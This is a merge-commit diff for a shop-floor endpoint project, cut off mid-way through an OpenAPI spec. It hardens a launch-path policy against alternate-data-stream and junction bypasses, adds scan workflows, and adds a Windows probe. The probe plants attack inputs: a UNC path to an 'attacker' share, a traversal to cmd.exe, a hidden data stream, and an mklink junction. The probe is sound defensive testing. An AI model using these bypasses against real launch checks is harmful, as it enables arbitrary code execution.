Merge origin/main into align-wilm-main (align wilm with Cameron's latest)
Bring main's endpoint hardening, operator-report validation, launch-path policy, and theme-variable CSS into wilm. Channel model reconciled to this repo's shipping (stable=release tag, edge=main trunk) while keeping wilm's remote-BuildKit publish step and GHCR pull-based launcher.
This commit is contained in:
60
.github/workflows/publish-images.yml
vendored
60
.github/workflows/publish-images.yml
vendored
@@ -8,22 +8,31 @@
|
|||||||
# A single image pull is one resumable HTTPS stream, far more robust through
|
# A single image pull is one resumable HTTPS stream, far more robust through
|
||||||
# the proxy than hundreds of npm requests.
|
# the proxy than hundreds of npm requests.
|
||||||
#
|
#
|
||||||
# Channels map to branches:
|
# Channels are mapped to how THIS repo actually ships, which is not how the
|
||||||
# main -> ghcr.io/<owner>/shopdb-flask:stable (badge off)
|
# branch this came from ships. Upstream, main is a release branch and dev-be is
|
||||||
# dev-be -> ghcr.io/<owner>/shopdb-flask:edge (SHOPDB_ENV_LABEL=DEV badge)
|
# the trunk. Here main IS the trunk - it runs hundreds of commits past the last
|
||||||
|
# release - and releases are tags (ADR-007). Publishing main as :stable would
|
||||||
|
# put unreleased work behind a word that promises the opposite, to sites that
|
||||||
|
# have no way to know:
|
||||||
#
|
#
|
||||||
# Each push to those branches rebuilds and republishes its channel tag, so
|
# tag v* -> ghcr.io/<owner>/shopdb-flask:stable (badge off) the release
|
||||||
# `edge` stays genuinely bleeding edge. The image is also tagged with the short
|
# main -> ghcr.io/<owner>/shopdb-flask:edge (DEV badge) the trunk
|
||||||
# commit SHA for traceability and rollback.
|
#
|
||||||
|
# The image also carries a short-SHA tag for traceability and rollback.
|
||||||
|
#
|
||||||
|
# Automatic publishing is OFF until someone confirms the GHCR package exists
|
||||||
|
# under this owner and decides who may pull it. Re-enable by uncommenting the
|
||||||
|
# push: block below; workflow_dispatch works meanwhile.
|
||||||
|
|
||||||
name: publish-images
|
name: publish-images
|
||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
# push:
|
||||||
branches:
|
# tags:
|
||||||
- main
|
# - 'v*'
|
||||||
- dev-be
|
# branches:
|
||||||
# Allow a manual rebuild/publish of the current branch's channel image.
|
# - main
|
||||||
|
# Manual rebuild/publish of the current ref's channel image.
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
|
|
||||||
# One in-flight publish per branch; a newer push supersedes an older one.
|
# One in-flight publish per branch; a newer push supersedes an older one.
|
||||||
@@ -48,7 +57,10 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
owner="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
|
owner="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
|
||||||
image="ghcr.io/${owner}/shopdb-flask"
|
image="ghcr.io/${owner}/shopdb-flask"
|
||||||
if [ "${{ github.ref_name }}" = "main" ]; then
|
# A tag is a release, anything else is the trunk. Deliberately not
|
||||||
|
# keyed on the branch name: a release here is a tag, so keying on
|
||||||
|
# "main" would label the trunk stable.
|
||||||
|
if [ "${{ github.ref_type }}" = "tag" ]; then
|
||||||
channel="stable"
|
channel="stable"
|
||||||
else
|
else
|
||||||
channel="edge"
|
channel="edge"
|
||||||
@@ -64,18 +76,18 @@ jobs:
|
|||||||
username: ${{ github.actor }}
|
username: ${{ github.actor }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
# Connect to a persistent, out-of-cluster BuildKit deployment instead of
|
# Connect to a persistent, out-of-cluster BuildKit deployment instead of
|
||||||
# spinning up a builder against a local Docker daemon. The arc-runner-set
|
# spinning up a builder against a local Docker daemon. The arc-runner-set
|
||||||
# pods have no Docker daemon (no /var/run/docker.sock) and cannot run a
|
# pods have no Docker daemon (no /var/run/docker.sock) and cannot run a
|
||||||
# privileged DinD sidecar under cluster policy, so we point Buildx at a
|
# privileged DinD sidecar under cluster policy, so we point Buildx at a
|
||||||
# remote buildkitd Service. The endpoint is provided as a repo/org secret
|
# remote buildkitd Service. The endpoint is provided as a repo/org secret
|
||||||
# (e.g. tcp://buildkit.buildkit.svc.cluster.local:1234), so it is not
|
# (e.g. tcp://buildkit.buildkit.svc.cluster.local:1234), so it is not
|
||||||
# hardcoded here. See deploy/ci/buildkit-remote.yaml for the deployment.
|
# hardcoded here. See deploy/ci/buildkit-remote.yaml for the deployment.
|
||||||
- name: Set up Buildx (remote BuildKit)
|
- name: Set up Buildx (remote BuildKit)
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v3
|
||||||
with:
|
with:
|
||||||
driver: remote
|
driver: remote
|
||||||
endpoint: ${{ secrets.BUILDKIT_ENDPOINT }}
|
endpoint: ${{ secrets.BUILDKIT_ENDPOINT }}
|
||||||
|
|
||||||
- name: Build and push channel image
|
- name: Build and push channel image
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v6
|
||||||
|
|||||||
32
.github/workflows/scan-darkwing-portable.yml
vendored
Normal file
32
.github/workflows/scan-darkwing-portable.yml
vendored
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
# Darkwing vulnerability scan, manual dispatch.
|
||||||
|
#
|
||||||
|
# Copied verbatim from the ge-aero/darkwing README so it stays byte-identical
|
||||||
|
# to the sanctioned integration. Do not edit this file to add triggers or
|
||||||
|
# gating - see scan-darkwing-pr.yml for that, which is ours to change.
|
||||||
|
#
|
||||||
|
# The file must sit on the default branch before a scan can run on ANY branch.
|
||||||
|
name: Scan (darkwing, portable)
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
target_ref:
|
||||||
|
description: Ref, branch, or sha of this repo to scan
|
||||||
|
required: false
|
||||||
|
type: string
|
||||||
|
default: main
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read # checkout this repo via the ambient GITHUB_TOKEN
|
||||||
|
security-events: write # SARIF upload to the Security tab
|
||||||
|
actions: read # required by upload-sarif on private/internal repos
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
scan:
|
||||||
|
runs-on: darkwing-scan
|
||||||
|
steps:
|
||||||
|
# @v1 is a moving tag pointing to the latest release that is compatible
|
||||||
|
# with this workflow file.
|
||||||
|
- uses: ge-aero/darkwing@v1
|
||||||
|
with:
|
||||||
|
target_ref: ${{ inputs.target_ref || 'main' }}
|
||||||
62
.github/workflows/scan-darkwing-pr.yml
vendored
Normal file
62
.github/workflows/scan-darkwing-pr.yml
vendored
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
# Darkwing scan on pull requests, so the "check against darkwing" is a check
|
||||||
|
# and not a thing somebody remembers to click.
|
||||||
|
#
|
||||||
|
# WHY THIS IS SEPARATE from scan-darkwing-portable.yml: that file is copied
|
||||||
|
# byte-for-byte from the ge-aero/darkwing README and is left alone so it keeps
|
||||||
|
# matching the sanctioned integration. Everything below is ours.
|
||||||
|
#
|
||||||
|
# THE TRAP THIS AVOIDS. The README workflow resolves its scan target as
|
||||||
|
# `inputs.target_ref || 'main'`. On a pull_request event there are no inputs,
|
||||||
|
# so that expression falls through to 'main' and the job scans the default
|
||||||
|
# branch instead of the code under review - a green Darkwing check that never
|
||||||
|
# looked at the change. Resolve the head SHA explicitly.
|
||||||
|
#
|
||||||
|
# Darkwing exits 0 whatever it finds (its own FAQ: "Does a finding fail my
|
||||||
|
# build? No."), so a passing job means the scan RAN, not that the code is
|
||||||
|
# clean. Findings land in Security -> Code scanning. Turning a finding into a
|
||||||
|
# hard failure means reading findings.sarif ourselves; the commented step at
|
||||||
|
# the bottom is the shape of that, deliberately left off until we have seen the
|
||||||
|
# false-positive rate on this repo.
|
||||||
|
name: Scan (darkwing, PR)
|
||||||
|
|
||||||
|
on:
|
||||||
|
pull_request:
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
security-events: write
|
||||||
|
actions: read
|
||||||
|
|
||||||
|
# One scan per PR. A new push supersedes the old one rather than queueing a
|
||||||
|
# second Bedrock spend against a diff nobody is reviewing any more.
|
||||||
|
concurrency:
|
||||||
|
group: darkwing-pr-${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
scan:
|
||||||
|
runs-on: darkwing-scan
|
||||||
|
steps:
|
||||||
|
- uses: ge-aero/darkwing@v1
|
||||||
|
with:
|
||||||
|
# The PR's head, NOT the default branch. See the note above.
|
||||||
|
target_ref: ${{ github.event.pull_request.head.sha }}
|
||||||
|
|
||||||
|
# Gating, once the signal is trusted. Darkwing writes findings.sarif into
|
||||||
|
# its work dir and attaches it as the `findings` artifact; this reads the
|
||||||
|
# severities out and fails on error-level results only.
|
||||||
|
#
|
||||||
|
# - name: Fail on error-level findings
|
||||||
|
# run: |
|
||||||
|
# python - <<'PY'
|
||||||
|
# import json, pathlib, sys
|
||||||
|
# sarif = pathlib.Path('darkwing/findings.sarif')
|
||||||
|
# if not sarif.is_file():
|
||||||
|
# sys.exit('no findings.sarif: the scan did not produce results')
|
||||||
|
# doc = json.loads(sarif.read_text())
|
||||||
|
# bad = [r for run in doc.get('runs', [])
|
||||||
|
# for r in run.get('results', [])
|
||||||
|
# if r.get('level') == 'error']
|
||||||
|
# if bad:
|
||||||
|
# sys.exit(f'{len(bad)} error-level finding(s); see the Security tab')
|
||||||
|
# PY
|
||||||
@@ -63,6 +63,19 @@ public sealed class LaunchPathPolicy
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Reject an alternate data stream before anything else looks at the
|
||||||
|
// path. On .NET Framework an interior colon made GetFullPath throw; on
|
||||||
|
// net8.0 it does not, so "readme.txt:payload.exe" survives, reports an
|
||||||
|
// .exe extension, passes the root check, and File.Exists returns true
|
||||||
|
// for the stream. CreateProcess will run it. Write access to any
|
||||||
|
// existing file under an approved root would otherwise be enough.
|
||||||
|
var lastSegment = Path.GetFileName(resolved);
|
||||||
|
if (lastSegment.Contains(':'))
|
||||||
|
{
|
||||||
|
reason = "path names an alternate data stream";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
var extension = Path.GetExtension(resolved);
|
var extension = Path.GetExtension(resolved);
|
||||||
if (!ApprovedExtensions.Contains(extension, StringComparer.OrdinalIgnoreCase))
|
if (!ApprovedExtensions.Contains(extension, StringComparer.OrdinalIgnoreCase))
|
||||||
{
|
{
|
||||||
@@ -82,10 +95,112 @@ public sealed class LaunchPathPolicy
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
fullPath = resolved;
|
// Everything above is LEXICAL: GetFullPath is pure string normalization
|
||||||
|
// and never touches the disk, so the root check so far constrains the
|
||||||
|
// name, not the file. File.Exists follows reparse points, which means a
|
||||||
|
// junction anywhere under an approved root pointed the check at one
|
||||||
|
// place and the execution at another. Creating a junction needs no
|
||||||
|
// privilege, only write access to the parent - and vendor install trees
|
||||||
|
// under Program Files are not reliably locked down.
|
||||||
|
//
|
||||||
|
// So resolve what the path actually refers to and re-check THAT. A
|
||||||
|
// resolve failure rejects: this is the last gate before the agent runs
|
||||||
|
// the file.
|
||||||
|
string finalPath;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
finalPath = ResolveFinalPath(resolved);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
reason = $"cannot resolve the real path: {ex.Message}";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!IsUnderApprovedRoot(finalPath))
|
||||||
|
{
|
||||||
|
reason = "path resolves outside every approved launch root";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
fullPath = finalPath;
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The path with every symlink and junction on it followed, so the caller
|
||||||
|
// checks the file that will actually execute. The leaf is resolved first,
|
||||||
|
// then the directory chain above it - a junction is usually placed on a
|
||||||
|
// DIRECTORY, so resolving only the leaf would miss the case this exists to
|
||||||
|
// catch.
|
||||||
|
private static string ResolveFinalPath(string resolved)
|
||||||
|
{
|
||||||
|
string? name;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
name = System.IO.File.ResolveLinkTarget(resolved, returnFinalTarget: true)?.FullName;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
name = null;
|
||||||
|
}
|
||||||
|
if (!string.IsNullOrWhiteSpace(name))
|
||||||
|
{
|
||||||
|
// ResolveLinkTarget resolves the file itself; run it back through
|
||||||
|
// GetFullPath so the comparison sees the same shape as the roots.
|
||||||
|
return Path.GetFullPath(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Not a link. Its directory chain still might be, so resolve that.
|
||||||
|
var directory = Path.GetDirectoryName(resolved);
|
||||||
|
if (string.IsNullOrEmpty(directory))
|
||||||
|
return resolved;
|
||||||
|
var realDirectory = ResolveDirectoryChain(directory);
|
||||||
|
return Path.GetFullPath(Path.Combine(realDirectory, Path.GetFileName(resolved)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Walk up the directory chain resolving any junction or symlink on it. A
|
||||||
|
// junction is usually placed on a DIRECTORY, not on the executable, so
|
||||||
|
// resolving only the leaf would miss the case this exists to catch.
|
||||||
|
private static string ResolveDirectoryChain(string directory)
|
||||||
|
{
|
||||||
|
// Stop at the volume root. Walking into it and asking whether "C:\" is
|
||||||
|
// a link throws DirectoryNotFoundException, which the caller turned
|
||||||
|
// into a rejection - so the first version of this rejected every
|
||||||
|
// legitimate path as well as the malicious ones. A fail-closed gate
|
||||||
|
// that also fails the normal case is just an outage. Caught in the VM,
|
||||||
|
// not here.
|
||||||
|
var parent = Path.GetDirectoryName(directory);
|
||||||
|
if (string.IsNullOrEmpty(parent) || parent == directory)
|
||||||
|
return directory;
|
||||||
|
|
||||||
|
var resolvedDirectory = TryResolveLink(directory);
|
||||||
|
if (resolvedDirectory is not null)
|
||||||
|
return resolvedDirectory;
|
||||||
|
|
||||||
|
var realParent = ResolveDirectoryChain(parent);
|
||||||
|
return realParent == parent
|
||||||
|
? directory
|
||||||
|
: Path.Combine(realParent, Path.GetFileName(directory));
|
||||||
|
}
|
||||||
|
|
||||||
|
// A component's link target, or null when it is not a link OR cannot be
|
||||||
|
// asked. Never throws: "cannot tell" must not be reported as "is a link",
|
||||||
|
// and the caller re-checks the assembled path against the roots regardless,
|
||||||
|
// so an unresolvable component cannot widen what is accepted.
|
||||||
|
private static string? TryResolveLink(string path)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var target = System.IO.Directory
|
||||||
|
.ResolveLinkTarget(path, returnFinalTarget: true)?.FullName;
|
||||||
|
return string.IsNullOrWhiteSpace(target) ? null : target;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private bool IsUnderApprovedRoot(string resolved)
|
private bool IsUnderApprovedRoot(string resolved)
|
||||||
{
|
{
|
||||||
foreach (var root in approvedRoots)
|
foreach (var root in approvedRoots)
|
||||||
|
|||||||
97
agent/ShopDbEndpointAgent.PolicyProbe/Program.cs
Normal file
97
agent/ShopDbEndpointAgent.PolicyProbe/Program.cs
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
using ShopDbEndpointAgent.Core;
|
||||||
|
|
||||||
|
// Planted-violation suite for LaunchPathPolicy, run on real Windows because the
|
||||||
|
// cases that matter (junctions, alternate data streams, 8.3 names) are
|
||||||
|
// filesystem behaviour, not string behaviour. Linux would prove nothing.
|
||||||
|
//
|
||||||
|
// Builds its own fixtures under an approved root, so it exercises the same
|
||||||
|
// shape as a real shop-floor install rather than a synthetic path.
|
||||||
|
|
||||||
|
int failures = 0;
|
||||||
|
|
||||||
|
void Check(string label, bool expectAccept, string candidate, LaunchPathPolicy policy)
|
||||||
|
{
|
||||||
|
var ok = policy.TryValidate(candidate, out var full, out var reason);
|
||||||
|
var pass = ok == expectAccept;
|
||||||
|
if (!pass) failures++;
|
||||||
|
var verdict = pass ? "PASS" : "FAIL";
|
||||||
|
var got = ok ? $"accepted -> {full}" : $"rejected ({reason})";
|
||||||
|
Console.WriteLine($"{verdict} {label}");
|
||||||
|
Console.WriteLine($" want={(expectAccept ? "accept" : "reject")} got={got}");
|
||||||
|
}
|
||||||
|
|
||||||
|
var root = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "LppFixture");
|
||||||
|
var outside = Path.Combine(Path.GetTempPath(), "LppOutside");
|
||||||
|
Directory.CreateDirectory(root);
|
||||||
|
Directory.CreateDirectory(outside);
|
||||||
|
|
||||||
|
var policy = new LaunchPathPolicy(new[] { root });
|
||||||
|
|
||||||
|
// A real executable inside the approved root.
|
||||||
|
var good = Path.Combine(root, "good.exe");
|
||||||
|
File.WriteAllBytes(good, new byte[] { 0x4D, 0x5A });
|
||||||
|
|
||||||
|
// The payload the attacker wants run, planted OUTSIDE the approved root.
|
||||||
|
var payload = Path.Combine(outside, "payload.exe");
|
||||||
|
File.WriteAllBytes(payload, new byte[] { 0x4D, 0x5A });
|
||||||
|
|
||||||
|
// A text file inside the root, to hang an alternate data stream off.
|
||||||
|
var carrier = Path.Combine(root, "readme.txt");
|
||||||
|
File.WriteAllText(carrier, "notes");
|
||||||
|
|
||||||
|
Console.WriteLine($"approved root : {root}");
|
||||||
|
Console.WriteLine($"outside dir : {outside}");
|
||||||
|
Console.WriteLine();
|
||||||
|
|
||||||
|
Check("a real exe under the approved root", true, good, policy);
|
||||||
|
Check("wrong extension", false, carrier, policy);
|
||||||
|
Check("file that does not exist", false, Path.Combine(root, "nope.exe"), policy);
|
||||||
|
Check("traversal back out of the root", false,
|
||||||
|
Path.Combine(root, "..", "..", "Windows", "System32", "cmd.exe"), policy);
|
||||||
|
Check("UNC path", false, @"\\attacker\share\payload.exe", policy);
|
||||||
|
Check("sibling directory sharing the root's prefix", false, root + "Evil\\payload.exe", policy);
|
||||||
|
Check("empty path", false, "", policy);
|
||||||
|
|
||||||
|
// --- alternate data stream --------------------------------------------------
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.WriteAllBytes(carrier + ":payload.exe", new byte[] { 0x4D, 0x5A });
|
||||||
|
Check("alternate data stream on a file in the root", false,
|
||||||
|
carrier + ":payload.exe", policy);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"SKIP alternate data stream fixture: {ex.Message}");
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- directory junction out of the root ------------------------------------
|
||||||
|
var junction = Path.Combine(root, "logs");
|
||||||
|
var mk = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo
|
||||||
|
{
|
||||||
|
FileName = "cmd.exe",
|
||||||
|
Arguments = $"/c mklink /J \"{junction}\" \"{outside}\"",
|
||||||
|
UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true,
|
||||||
|
});
|
||||||
|
mk!.WaitForExit();
|
||||||
|
if (mk.ExitCode == 0)
|
||||||
|
{
|
||||||
|
Check("exe reached through a junction pointing out of the root", false,
|
||||||
|
Path.Combine(junction, "payload.exe"), policy);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine($"SKIP junction fixture: mklink exit {mk.ExitCode} {mk.StandardError.ReadToEnd().Trim()}");
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- 8.3 short name ---------------------------------------------------------
|
||||||
|
// 8.3 short names used to be rejected, because the lexical prefix check could
|
||||||
|
// not match "C:\PROGRA~1" against "C:\Program Files" - fail closed, but only by
|
||||||
|
// accident of not understanding the path. Resolution now expands it to the real
|
||||||
|
// directory, which IS under the approved root, so accepting is correct: the
|
||||||
|
// check that matters runs on the resolved path either way.
|
||||||
|
var shortRoot = Path.Combine(@"C:\PROGRA~1", "LppFixture", "good.exe");
|
||||||
|
Check("8.3 short name resolving into the approved root", true, shortRoot, policy);
|
||||||
|
|
||||||
|
Console.WriteLine();
|
||||||
|
Console.WriteLine(failures == 0 ? "ALL EXPECTATIONS MET" : $"{failures} EXPECTATION(S) NOT MET");
|
||||||
|
return failures == 0 ? 0 : 1;
|
||||||
33
agent/ShopDbEndpointAgent.PolicyProbe/README.md
Normal file
33
agent/ShopDbEndpointAgent.PolicyProbe/README.md
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
# LaunchPathPolicy probe
|
||||||
|
|
||||||
|
A planted-violation probe for `LaunchPathPolicy`. It builds real fixtures under
|
||||||
|
a real approved root - a junction pointing out of it, an alternate data stream,
|
||||||
|
an 8.3 short name - and asserts what the policy does with each.
|
||||||
|
|
||||||
|
## Why it is not a unit test in CI
|
||||||
|
|
||||||
|
The cases worth testing are filesystem behaviour, not string behaviour:
|
||||||
|
junctions, alternate data streams and 8.3 short names do not exist on Linux, and
|
||||||
|
CI runs on Linux runners. A suite that skipped every meaningful case there would
|
||||||
|
report green and mean nothing, which is the failure shape this repo has already
|
||||||
|
been bitten by more than once. So it is a probe you run on Windows, by hand,
|
||||||
|
when the policy changes.
|
||||||
|
|
||||||
|
## Running it
|
||||||
|
|
||||||
|
Publish from the dev box and run it in the win11 VM:
|
||||||
|
|
||||||
|
dotnet publish agent/ShopDbEndpointAgent.PolicyProbe -c Release -r win-x64 \
|
||||||
|
--self-contained true -p:PublishSingleFile=true -o /tmp/lpp
|
||||||
|
|
||||||
|
Copy `lpp/lpptest.exe` into the VM and run it as an account that may create a
|
||||||
|
junction under Program Files. Exit code 0 means every expectation held; it
|
||||||
|
prints one line per case either way.
|
||||||
|
|
||||||
|
## What it caught
|
||||||
|
|
||||||
|
The first version of the link-resolving hardening recursed to the volume root
|
||||||
|
and asked whether `C:\` was a link. That throws, and the caller treated a
|
||||||
|
resolve failure as a rejection - so the policy rejected every legitimate launch
|
||||||
|
path as well as the malicious ones. It compiled cleanly and read correctly. Only
|
||||||
|
running it on Windows showed the agent would have failed closed on everything.
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
<Project Sdk="Microsoft.NET.Sdk">
|
||||||
|
<!-- Planted-violation probe for LaunchPathPolicy. See README.md next to this
|
||||||
|
file: it is run BY HAND on Windows, not by CI, because the cases it
|
||||||
|
exists to catch are filesystem behaviour and CI runs on Linux.
|
||||||
|
|
||||||
|
net8.0, not net8.0-windows: the policy itself only touches System.IO, and
|
||||||
|
a plain target cross-publishes from the Linux dev box. -->
|
||||||
|
<PropertyGroup>
|
||||||
|
<OutputType>Exe</OutputType>
|
||||||
|
<TargetFramework>net8.0</TargetFramework>
|
||||||
|
<Nullable>enable</Nullable>
|
||||||
|
<ImplicitUsings>enable</ImplicitUsings>
|
||||||
|
<AssemblyName>lpptest</AssemblyName>
|
||||||
|
<RootNamespace>LppTest</RootNamespace>
|
||||||
|
<InvariantGlobalization>true</InvariantGlobalization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="../ShopDbEndpointAgent.Core/LaunchPathPolicy.cs" Link="LaunchPathPolicy.cs" />
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -3,4 +3,6 @@
|
|||||||
<Project Path="ShopDbEndpointAgent.Tray/ShopDbEndpointAgent.Tray.csproj" />
|
<Project Path="ShopDbEndpointAgent.Tray/ShopDbEndpointAgent.Tray.csproj" />
|
||||||
<Project Path="ShopDbEndpointAgent/ShopDbEndpointAgent.csproj" />
|
<Project Path="ShopDbEndpointAgent/ShopDbEndpointAgent.csproj" />
|
||||||
<Project Path="ShopDbAdoptionTool/ShopDbAdoptionTool.csproj" />
|
<Project Path="ShopDbAdoptionTool/ShopDbAdoptionTool.csproj" />
|
||||||
|
<!-- Run by hand on Windows, never by CI. See its README. -->
|
||||||
|
<Project Path="ShopDbEndpointAgent.PolicyProbe/ShopDbEndpointAgent.PolicyProbe.csproj" />
|
||||||
</Solution>
|
</Solution>
|
||||||
|
|||||||
@@ -83,7 +83,10 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
<<: *app-env
|
<<: *app-env
|
||||||
ports:
|
ports:
|
||||||
- "${API_PORT:-5001}:5001"
|
# Loopback only, same as the DB below. This stack generates its own
|
||||||
|
# dev secrets and may hold a real imported dataset; it has no business
|
||||||
|
# listening on every interface of a laptop on a shop-floor network.
|
||||||
|
- "127.0.0.1:${API_PORT:-5001}:5001"
|
||||||
volumes:
|
volumes:
|
||||||
- instance_data:/app/instance
|
- instance_data:/app/instance
|
||||||
|
|
||||||
|
|||||||
@@ -21826,8 +21826,8 @@
|
|||||||
"tags": [
|
"tags": [
|
||||||
"plugin-endpoints"
|
"plugin-endpoints"
|
||||||
],
|
],
|
||||||
"summary": "List endpoints reporting through the ShopDB agent, with last-seen and online state",
|
"summary": "List endpoint states. Registered both with and without the trailing slash, so both forms are described here",
|
||||||
"description": "List endpoints reporting through the ShopDB agent, with last-seen and online state\n\n**Auth:** endpoints.view\n\n**Params:** query: search (hostname substring)\n\n**Example:**\n```\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:5001/api/endpoints\n```",
|
"description": "List endpoint states. Registered both with and without the trailing slash, so both forms are described here\n\n**Auth:** endpoints.view\n\n**Params:** query: search (hostname substring)\n\n**Example:**\n```\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:5001/api/endpoints\n```",
|
||||||
"security": [
|
"security": [
|
||||||
{
|
{
|
||||||
"bearerAuth": []
|
"bearerAuth": []
|
||||||
@@ -22718,6 +22718,432 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"/api/endpoints/monitors": {
|
||||||
|
"get": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "List every monitor definition, shipped and local, ordered shipped-first then by display name",
|
||||||
|
"description": "List every monitor definition, shipped and local, ordered shipped-first then by display name\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** none\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/monitors -H \"Authorization: Bearer $TOK\"\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"bearerAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"post": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Create a local monitor definition; source is forced to 'local' so a caller cannot mint a shipped row",
|
||||||
|
"description": "Create a local monitor definition; source is forced to 'local' so a caller cannot mint a shipped row\n\n**Auth:** jwt + require_role admin\n\n**Params:** body: kind (process|service, required), displayname (required), processname (required for process), servicename (required for service), launchpath, datacollectorpath, logcollectorpath, isactive (default true)\n\n**Example:**\n```\ncurl -X POST http://localhost:5001/api/endpoints/monitors -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' -d '{\"kind\":\"service\",\"displayname\":\"Spooler\",\"servicename\":\"Spooler\"}'\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"bearerAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"requestBody": {
|
||||||
|
"required": true,
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"schema": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": true,
|
||||||
|
"description": "body: kind (process|service, required), displayname (required), processname (required for process), servicename (required for service), launchpath, datacollectorpath, logcollectorpath, isactive (default true)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"/api/endpoints/monitors/{monitor_id}": {
|
||||||
|
"put": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Update a local monitor definition; 403 on a shipped row, which is product-owned and read-only",
|
||||||
|
